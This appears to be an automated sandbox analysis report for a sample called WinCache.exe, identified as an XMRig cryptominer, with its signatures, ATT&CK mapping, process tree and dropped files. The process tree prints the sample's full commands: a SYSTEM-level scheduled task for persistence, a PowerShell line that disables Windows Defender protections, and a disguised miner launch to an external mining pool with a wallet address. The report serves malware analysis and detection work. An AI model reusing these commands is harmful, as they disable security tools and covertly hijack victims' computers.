Overview

overview

10

Static

static

3

WinCache.exe

windows10-2004-x64

10

WinCache.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    900s
  • max time network
    491s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    19/08/2026, 12:10

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    WinCache.exe
  • Size 10.7MB
  • Sample260819-pcfbmsap4x
  • SHA256 86f2102b23d572c9e9a3a8bad6087662b90e7543896a5b9f706c15ccca8d5792
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwaredefense_evasionexecutionxmrigminerpersistenceransomwarespywaretrojan

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 12 IoCs
    defense_evasiontrojan
  • XMRig Miner payload 1 IoCs
    miner
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 6 IoCs
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 40 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 54 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\WinCache.exe
    "C:\Users\Admin\AppData\Local\Temp\WinCache.exe"
    1⤵
    • Modifies Windows Defender Real-time Protection settings
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1264
    • C:\Windows\SYSTEM32\schtasks.exe
      schtasks.exe /Delete /TN "ShizoWorker" /F
      2⤵
        PID:4836
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks.exe /Create /F /TN "ShizoWorker" /TR "\"C:\ProgramData\WinCache\WinCache.exe\"" /SC ONSTART /RU SYSTEM /RL HIGHEST /DELAY 0000:30
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3804
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\WinCache'; Add-MpPreference -ExclusionProcess 'wermgr.exe'; Set-MpPreference -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableBlockAtFirstSeen $true -DisableScriptScanning $true -EnableNetworkProtection Disabled -SubmitSamplesConsent 2"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2448
      • C:\Windows\System32\wermgr.exe
        "C:\Windows\System32\wermgr.exe" -o pool.hashvault.pro:443 -u 42q35emXjZg54YjLj7Zqkh8KhJzbWPirNCbSzzygRKFmcjZJnAKHUdKQ7MCCaEjoydZfDUJ8cdCrp6FaQaFx2Gf9Uz4ftDy -p ShizoWorker --cpu-max-threads-hint=70 --cpu-priority=3 --randomx-wrmsr=-1 --tls --randomx-no-rdmsr -k --coin XMR -a rx/0 --log-file C:\Windows\Temp\xmrig.log
        2⤵
          PID:4940
        • C:\Windows\System32\wermgr.exe
          "C:\Windows\System32\wermgr.exe" 4940 C:\ProgramData\WinCache\WinCache.exe C:\Windows\System32\wermgr.exe
          2⤵
            PID:4304
          • C:\Windows\System32\wermgr.exe
            "C:\Windows\System32\wermgr.exe" 4940 4304
            2⤵
              PID:4236
          • C:\ProgramData\WinCache\WinCache.exe
            "C:\ProgramData\WinCache\WinCache.exe"
            1⤵
            • Modifies Windows Defender Real-time Protection settings
            • Executes dropped EXE
            • Adds Run key to start application
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:2028
            • C:\Windows\SYSTEM32\schtasks.exe
              schtasks.exe /Delete /TN "ShizoWorker" /F
              2⤵
                PID:3512
              • C:\Windows\SYSTEM32\schtasks.exe
                schtasks.exe /Create /F /TN "ShizoWorker" /TR "\"C:\ProgramData\WinCache\WinCache.exe\"" /SC ONSTART /RU SYSTEM /RL HIGHEST /DELAY 0000:30
                2⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5704
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\WinCache'; Add-MpPreference -ExclusionProcess 'wermgr.exe'; Set-MpPreference -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableBlockAtFirstSeen $true -DisableScriptScanning $true -EnableNetworkProtection Disabled -SubmitSamplesConsent 2"
                2⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3004
              • C:\Windows\System32\wermgr.exe
                "C:\Windows\System32\wermgr.exe" -o pool.hashvault.pro:443 -u 42q35emXjZg54YjLj7Zqkh8KhJzbWPirNCbSzzygRKFmcjZJnAKHUdKQ7MCCaEjoydZfDUJ8cdCrp6FaQaFx2Gf9Uz4ftDy -p ShizoWorker --cpu-max-threads-hint=70 --cpu-priority=3 --randomx-wrmsr=-1 --tls --randomx-no-rdmsr -k --coin XMR -a rx/0 --log-file C:\Windows\Temp\xmrig.log
                2⤵
                  PID:5900
                • C:\Windows\System32\wermgr.exe
                  "C:\Windows\System32\wermgr.exe" 5900 C:\ProgramData\WinCache\WinCache.exe C:\Windows\System32\wermgr.exe
                  2⤵
                    PID:2968
                  • C:\Windows\System32\wermgr.exe
                    "C:\Windows\System32\wermgr.exe" 5900 2968
                    2⤵
                      PID:5784
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k GPSvcGroup
                    1⤵
                      PID:2672
                    • C:\Windows\system32\sihost.exe
                      sihost.exe
                      1⤵
                      • Suspicious use of FindShellTrayWindow
                      • Suspicious use of WriteProcessMemory
                      PID:4400
                      • C:\Windows\explorer.exe
                        explorer.exe /LOADSAVEDWINDOWS
                        2⤵
                        • Boot or Logon Autostart Execution: Active Setup
                        • Enumerates connected drives
                        • Checks SCSI registry key(s)
                        • Modifies Internet Explorer settings
                        • Modifies registry class
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of SendNotifyMessage
                        • Suspicious use of SetWindowsHookEx
                        PID:1960
                    • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                      "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                      1⤵
                      • Modifies registry class
                      • Suspicious use of SetWindowsHookEx
                      PID:5672
                    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                      1⤵
                      • Modifies registry class
                      • Suspicious use of SetWindowsHookEx
                      PID:5732
                    • C:\Windows\System32\SecurityHealthHost.exe
                      \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
                      1⤵
                        PID:2852

                      Network

                            MITRE ATT&CK Enterprise v16

                            Reconnaissance

                            Resource Development

                            Initial Access

                            Execution

                            Command and Scripting Interpreter

                            1
                            T1059

                            PowerShell

                            1
                            T1059.001

                            Scheduled Task/Job

                            1
                            T1053

                            Scheduled Task

                            1
                            T1053.005

                            Persistence

                            Boot or Logon Autostart Execution

                            2
                            T1547

                            Active Setup

                            1
                            T1547.014

                            Registry Run Keys / Startup Folder

                            1
                            T1547.001

                            Create or Modify System Process

                            1
                            T1543

                            Windows Service

                            1
                            T1543.003

                            Scheduled Task/Job

                            1
                            T1053

                            Scheduled Task

                            1
                            T1053.005

                            Privilege Escalation

                            Boot or Logon Autostart Execution

                            2
                            T1547

                            Active Setup

                            1
                            T1547.014

                            Registry Run Keys / Startup Folder

                            1
                            T1547.001

                            Create or Modify System Process

                            1
                            T1543

                            Windows Service

                            1
                            T1543.003

                            Scheduled Task/Job

                            1
                            T1053

                            Scheduled Task

                            1
                            T1053.005

                            Defense Evasion

                            Impair Defenses

                            1
                            T1562

                            Disable or Modify Tools

                            1
                            T1562.001

                            Modify Registry

                            4
                            T1112

                            Credential Access

                            Discovery

                            Peripheral Device Discovery

                            2
                            T1120

                            Query Registry

                            3
                            T1012

                            System Information Discovery

                            2
                            T1082

                            Lateral Movement

                            Collection

                            Command and Control

                            Exfiltration

                            Impact

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            WinCache.exe
                            • Path C:\ProgramData\WinCache\WinCache.exe
                            • Size 10.7MB
                            • SHA256 86f2102b23d572c9e9a3a8bad6087662b90e7543896a5b9f706c15ccca8d5792
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            prep_Activatable Class_Hermes_perf.cache
                            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                            • Size 599B
                            • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            __PSScriptPolicyTest_d4ki2d3k.vql.ps1
                            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d4ki2d3k.vql.ps1
                            • Size 60B
                            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            memory/1264-134-0x00007FF7F91E0000-0x00007FF7F9C52000-memory.dmp
                            Download

                            memory/2028-82-0x00007FF727550000-0x00007FF727FC2000-memory.dmp
                            Download

                            memory/2448-19-0x000001E372710000-0x000001E37272E000-memory.dmp
                            Download

                            memory/2448-8-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
                            Download

                            memory/2448-10-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
                            Download

                            memory/2448-11-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
                            Download

                            memory/2448-12-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
                            Download

                            memory/2448-13-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
                            Download

                            memory/2448-15-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
                            Download

                            memory/2448-14-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
                            Download

                            memory/2448-16-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
                            Download

                            memory/2448-20-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
                            Download

                            memory/2448-0-0x00007FF8B90BF000-0x00007FF8B90C0000-memory.dmp
                            Download

                            memory/2448-21-0x000001E3729C0000-0x000001E372A72000-memory.dmp
                            Download

                            memory/2448-22-0x000001E372730000-0x000001E37273A000-memory.dmp
                            Download

                            memory/2448-9-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
                            Download

                            memory/2448-28-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
                            Download

                            memory/2448-5-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
                            Download

                            memory/2448-1-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
                            Download

                            memory/2448-7-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp
                            Download

                            memory/2448-6-0x000001E3726A0000-0x000001E3726C2000-memory.dmp
                            Download

                            memory/2968-43-0x0000000140000000-0x000000014006D000-memory.dmp
                            Download

                            memory/5672-157-0x00000206801E0000-0x00000206802E0000-memory.dmp
                            Download

                            memory/5672-203-0x0000020694480000-0x00000206944A0000-memory.dmp
                            Download

                            memory/5672-172-0x0000020694040000-0x0000020694140000-memory.dmp
                            Download

                            memory/5672-181-0x0000020681C00000-0x0000020681C20000-memory.dmp
                            Download

                            memory/5672-170-0x0000020681C20000-0x0000020681C40000-memory.dmp
                            Download

                            memory/5672-325-0x0000020680B40000-0x0000020680D23000-memory.dmp
                            Download

                            memory/5784-62-0x0000000140000000-0x0000000140065000-memory.dmp
                            Download

                            memory/5900-31-0x0000000140000000-0x000000014090D000-memory.dmp
                            Download